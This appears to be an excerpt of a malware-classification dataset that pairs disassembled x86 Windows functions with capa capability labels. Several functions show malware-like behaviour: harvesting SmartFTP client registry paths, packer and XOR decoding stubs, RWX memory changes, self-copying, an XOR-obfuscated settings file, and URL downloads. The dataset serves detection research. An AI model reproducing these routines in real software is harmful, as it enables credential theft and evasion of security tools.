joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416c4c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x416c99
xor ebx, ebx
jmp 0x416c8e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.00408464
test eax, eax
jne 0x416c8d
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x416d43
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x416c6f
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x416ca5
je 0x416cae
jmp 0x416cb7
call fcn.0040fbc0
mov esi, eax
jmp 0x416cb9
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x416cb9
xor esi, esi
test si, si
je 0x416d43
xor ebx, ebx
jmp 0x416cdf
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x416cde
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x416d43
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x416cc6
xor ebx, ebx
jmp 0x416d38
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, esi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x416d37
mov eax, esi
and ax, 0x3ff
cmp ax, 4
jne 0x416d2c
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.00416c20
push eax
mov eax, esi
call fcn.00416c20
pop edx
cmp edx, eax
jne 0x416d37
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x416d43
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x416cee
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x417134
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41720b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x417228
push ebx
push 0x417238
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405480
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403340
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405068
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4171b6
mov ax, 0x83
call fcn.00416d50
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00417108
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4171bf
call fcn.00417108
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417212
lea eax, [ebp - 4]
call fcn.00404fcc
ret
Function at 0x417328
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4173f3
jmp 0x4173e7
cmp dword [esi + 0x10], 0x1000
jne 0x4173d3
test byte [esi + 0x15], 1
jne 0x4173d3
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x417384
cmp ebp, 2
je 0x417384
cmp ebp, 0x10
je 0x417384
cmp ebp, 0x20
jne 0x4173a0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4173a0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4173b1
mov eax, dword [esi]
add eax, ebx
call fcn.00417320
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4173a4
cmp byte [esp + 4], 0
je 0x4173d3
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4173f3
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x417359
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5c3000
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffbdf0
push eax
push ebx
push ecx
push edx
push esi
push edi
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
dec eax
dec edx
add esi, eax
add edi, edx
mov dword [ebp - 0x4208], esi
mov dword [ebp - 0x420c], edi
xor eax, eax
mov dword [ebp - 0x4204], eax
mov ecx, dword [ebp + 0xc]
cmp ecx, 0
jle 0x5c3184
mov esi, dword [ebp - 0x4208]
movzx eax, byte [esi]
dec esi
dec ecx
mov dword [ebp - 0x4208], esi
mov dword [ebp + 0xc], ecx
xor edx, edx
mov ecx, 0x40
mov ebx, 0x3020100
lea esi, [ebp - 0x100]
lea edi, [ebp - 0x200]
mov dword [esi], ebx
mov dword [edi], edx
add esi, 4
add edi, 4
add ebx, 0x4040404
dec ecx
jne 0x5c306d
mov ecx, eax
mov esi, dword [ebp - 0x4208]
add eax, eax
add eax, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov dword [ebp + 0xc], edx
lea edi, [ebp - 0x100]
lea eax, [ebp - 0x200]
or ecx, ecx
je 0x5c30b7
movzx edx, byte [esi]
dec esi
mov bl, byte [esi]
dec esi
mov bh, byte [esi]
dec esi
mov byte [edx + edi], bh
mov byte [edx + eax], bl
dec ecx
jmp 0x5c30a0
dec esi
movzx eax, word [esi]
dec esi
mov dword [ebp - 0x4210], eax
mov dword [ebp - 0x4208], esi
mov ecx, dword [ebp + 0xc]
sub ecx, 2
sub ecx, eax
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp - 0x4210]
cmp eax, 0
jg 0x5c30ed
mov eax, dword [ebp - 0x4204]
cmp eax, 0
jle 0x5c3035
mov eax, dword [ebp - 0x4204]
or eax, eax
je 0x5c3110
lea esi, [ebp - 0x4200]
mov edx, dword [ebp - 0x4204]
dec edx
mov dword [ebp - 0x4204], edx
movzx eax, byte [edx + esi]
jmp 0x5c312d
mov esi, dword [ebp - 0x4208]
movzx eax, byte [esi]
dec esi
mov ecx, dword [ebp - 0x4210]
dec ecx
mov dword [ebp - 0x4210], ecx
mov dword [ebp - 0x4208], esi
lea esi, [ebp - 0x100]
movzx ecx, byte [eax + esi]
sub ecx, eax
or ecx, ecx
je 0x5c3170
lea esi, [ebp - 0x4200]
mov edx, dword [ebp - 0x4204]
lea edi, [ebp - 0x200]
mov bl, byte [eax + edi]
lea edi, [ebp - 0x100]
mov bh, byte [eax + edi]
mov byte [edx + esi], bh
mov byte [edx + esi + 1], bl
add edx, 2
mov dword [ebp - 0x4204], edx
jmp 0x5c30d3
mov esi, dword [ebp - 0x420c]
mov byte [esi], al
dec esi
mov dword [ebp - 0x420c], esi
jmp 0x5c30d3
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
leave
ret
Function at 0x5c318c
Capabilities:
Packed with generic packer

Disassembly:
pushal
call 0x5c3192
pop eax
sub eax, 0x1c3192
push eax
mov edi, 0x1000
add edi, eax
mov ecx, 0x37e22
mov esi, 0x5efa1c
or ecx, ecx
je 0x5c31bb
mov ebx, dword [esi]
xor dword [edi], ebx
dec ecx
add esi, 4
add edi, 4
jmp 0x5c31aa
mov esi, 0x1000
add esi, eax
mov edx, 0x15cf10
push edx
push esi
mov edx, 0xdf889
push edx
push esi
call section..pegasys
add esp, 0x10
mov edi, 0x15e000
add edi, eax
mov ecx, 0x138a
mov esi, 0x8410a9
or ecx, ecx
je 0x5c31fa
mov ebx, dword [esi]
xor dword [edi], ebx
dec ecx
add esi, 4
add edi, 4
jmp 0x5c31e9
mov esi, 0x15e000
add esi, eax
mov edx, 0x7108
push edx
push esi
mov edx, 0x4e2b
push edx
push esi
call section..pegasys
add esp, 0x10
call 0x5c321c
pop eax
pop edi
mov ecx, 0x400000
cmp edi, ecx
je 0x5c3291
mov esi, 0x6d
add esi, eax
mov eax, dword [esi]
add eax, edi
mov dword [esi], eax
mov ebx, dword [esi + 4]
or ebx, ebx
je 0x5c3291
mov edx, dword [esi]
mov eax, dword [edx]
mov ecx, dword [edx + 4]
add edx, 8
sub ebx, ecx
mov dword [esi], edx
mov dword [esi + 4], ebx
sub ecx, 8
shr ecx, 1
or ecx, ecx
je 0x5c3234
mov edx, dword [esi]
movzx ebx, word [edx]
dec ecx
add edx, 2
mov dword [esi], edx
mov edx, ebx
and ebx, 0xfff
shr edx, 0xc
and edx, 0xf
or edx, edx
je 0x5c3251
cmp edx, 3
jne 0x5c3251
add ebx, eax
mov edx, dword [ebx + edi]
add edx, edi
sub edx, 0x400000
mov dword [ebx + edi], edx
jmp 0x5c3251
mov eax, 0x1c318c
mov ecx, 0xfff9ad67
mov byte [eax + edi], 0xe9
mov dword [eax + edi + 1], ecx
popal
jmp 0x55def8

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x405133
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040bf2d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.0040550e
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.0040550e
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.0040550e
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.0040550e
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call 0x408549
add esp, 0xc
cmp eax, 0xffffffff
je 0x405200
test eax, eax
jbe 0x405200
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call 0x404e78
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051b8
cmp dword [ebp - 8], 0
jbe 0x405218
mov esi, dword [ebp - 0xc]
call 0x403395
jmp 0x405221
push dword [ebp - 0xc]
call fcn.0040beca
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a2d
xor eax, eax
jmp 0x406a62
push edi
push dword [ebp + 0x14]
call fcn.0040544e
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d6f
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d81
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114d4], eax
pop esi
mov eax, ecx
ret
Function at 0x40772b
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x407876
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x407781
push 2
pop eax
jmp 0x407879
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x407876
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x407876
cmp dword [ebp - 8], edi
jne 0x407876
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.0040584a
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x407879
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40787e
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x800
push ebx
push ebp
mov ebp, dword [esp + 0x80c]
push esi
push edi
mov edi, 0x400
push edi
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push ebp
push dword [esi*4 + 0x411038]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x419d78
push ebp
call fcn.00405526
lea eax, [esp + 0x18]
push ebp
push eax
call fcn.0040772b
add esp, 0x10
test eax, eax
je 0x407922
cmp eax, 1
jne 0x4078ea
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 4
jmp 0x407901
cmp eax, 2
jne 0x407909
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 5
call fcn.0040a82a
add esp, 0xc
inc esi
add ebx, 0xf4240
cmp esi, 2
jl 0x4078a5
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x800
ret
lea eax, [esi + 1]
jmp 0x407917
Function at 0x407927
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040d5c0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
neg eax
sbb eax, eax
neg eax
pop esi
leave
ret

Function at 0x407c08
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
push esi
push edi
xor eax, eax
call fcn.004073c7
mov edi, eax
mov eax, dword [0x41a8cc]
test eax, eax
jne 0x407c54
lea eax, [esp + 0xd8]
push eax
xor eax, eax
push str.TimeCorr
inc eax
call fcn.00407ee5
test eax, eax
pop ecx
pop ecx
je 0x407c54
lea eax, [esp + 0xd8]
call fcn.00405621
mov dword [0x41a8cc], eax
add eax, edi
xor edx, edx
mov ecx, 0x4b0
div ecx
lea esi, [esp + 0x70]
mov edi, eax
test edi, edi
jne 0x407c74
mov byte [esp + 0x70], 0x30
mov byte [esp + 0x71], al
jmp 0x407cb2
mov ecx, 0x3b9aca00
cmp edi, ecx
jae 0x407c8e
mov eax, ecx
push 0xa
xor edx, edx
pop ecx
div ecx
mov ecx, eax
cmp edi, ecx
jb 0x407c7d
jmp 0x407cac
xor edx, edx
mov eax, edi
div ecx
push 0xa
mov dl, al
imul eax, ecx
add dl, 0x30
sub edi, eax
mov byte [esi], dl
mov eax, ecx
xor edx, edx
pop ecx
div ecx
inc esi
mov ecx, eax
test ecx, ecx
jne 0x407c8e
mov byte [esi], cl
cmp byte [esp + 0x70], 0
mov edx, str.__scMMdj490_0_Osd
lea eax, [esp + 0x70]
je 0x407cc8
inc eax
cmp byte [eax], 0
jne 0x407cc2
mov cl, byte [edx]
mov byte [eax], cl
inc eax
inc edx
test cl, cl
jne 0x407cc8
xor edi, edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], 0x67452301
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
lea eax, [esp + 0x70]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407d00
lea ecx, [esp + 0x70]
sub eax, ecx
dec eax
mov edx, eax
cmp edx, edi
jle 0x407d28
push edx
push ecx
lea ecx, [esp + 0x20]
push ecx
shl eax, 3
xor ecx, ecx
call fcn.0040bd44
add esp, 0xc
lea eax, [esp + 8]
push eax
lea esi, [esp + 0x1c]
call fcn.0040bde5
pop ecx
xor ecx, ecx
mov dl, byte [esp + ecx + 8]
mov al, dl
shr al, 4
cmp al, 0xa
movzx ax, al
jae 0x407d50
add ax, 0x30
jmp 0x407d54
add ax, 0x57
mov word [ebx + ecx*4], ax
movzx eax, dl
and eax, 0x8000000f
jns 0x407d67
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 0xa
movzx ax, al
jae 0x407d75
add ax, 0x30
jmp 0x407d79
add ax, 0x57
mov word [ebx + ecx*4 + 2], ax
inc ecx
cmp ecx, 0x10
jl 0x407d39
mov word [ebx + 0x40], di
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407d91
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040d640
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x407dc7
lea edx, [ebp - 0x2000]
call fcn.00406d54
jmp 0x407dd5
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, 0x4201e0
lea eax, [ebp - 0x2000]
call fcn.004054ea
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x407df0
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x4110a8], eax
pop esi
mov eax, ecx
leave
ret

Function at 0x407e1b
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110a8], 0xffffffff
jne 0x407e3f
push 0
call fcn.00407d91
cmp dword [0x4110a8], 0xffffffff
pop ecx
jne 0x407e3f
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.0040544e
push dword [ebp + 0x10]
mov esi, eax
call fcn.0040544e
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.0040550e
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x407e7d
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.0040550e
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x407ea5
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x407ea9
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110a8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110a8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407ee5
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110a8], 0xffffffff
push esi
mov esi, eax
jne 0x407f08
push 1
call fcn.00407d91
cmp dword [0x4110a8], 0xffffffff
pop ecx
je 0x407f74
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110a8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110a8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407f74
cmp dword [ebp - 4], 0x64
jne 0x407f74
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x407f40
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00405490
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x407f74
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.0040550e
xor eax, eax
pop ecx
inc eax
jmp 0x407f76
xor eax, eax
pop esi
leave
ret
Function at 0x409d3d
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d640
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409d5d
push dword [ebp + 0xc]
call fcn.0040544e
pop ecx
jmp 0x409d5f
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409d83
xor eax, eax
jmp 0x409e95
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409dff
xor eax, eax
jmp 0x409e93
mov eax, dword [ebp - 8]
test eax, eax
je 0x409e1d
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409de1
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409da8
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c660
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409daf
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409e3b
and dword [ebp - 4], eax
jmp 0x409e84
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409e7a
test edi, edi
jbe 0x409e7a
and word [ecx], 0
test edi, edi
jbe 0x409e7a
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409e7a
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409e5c
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret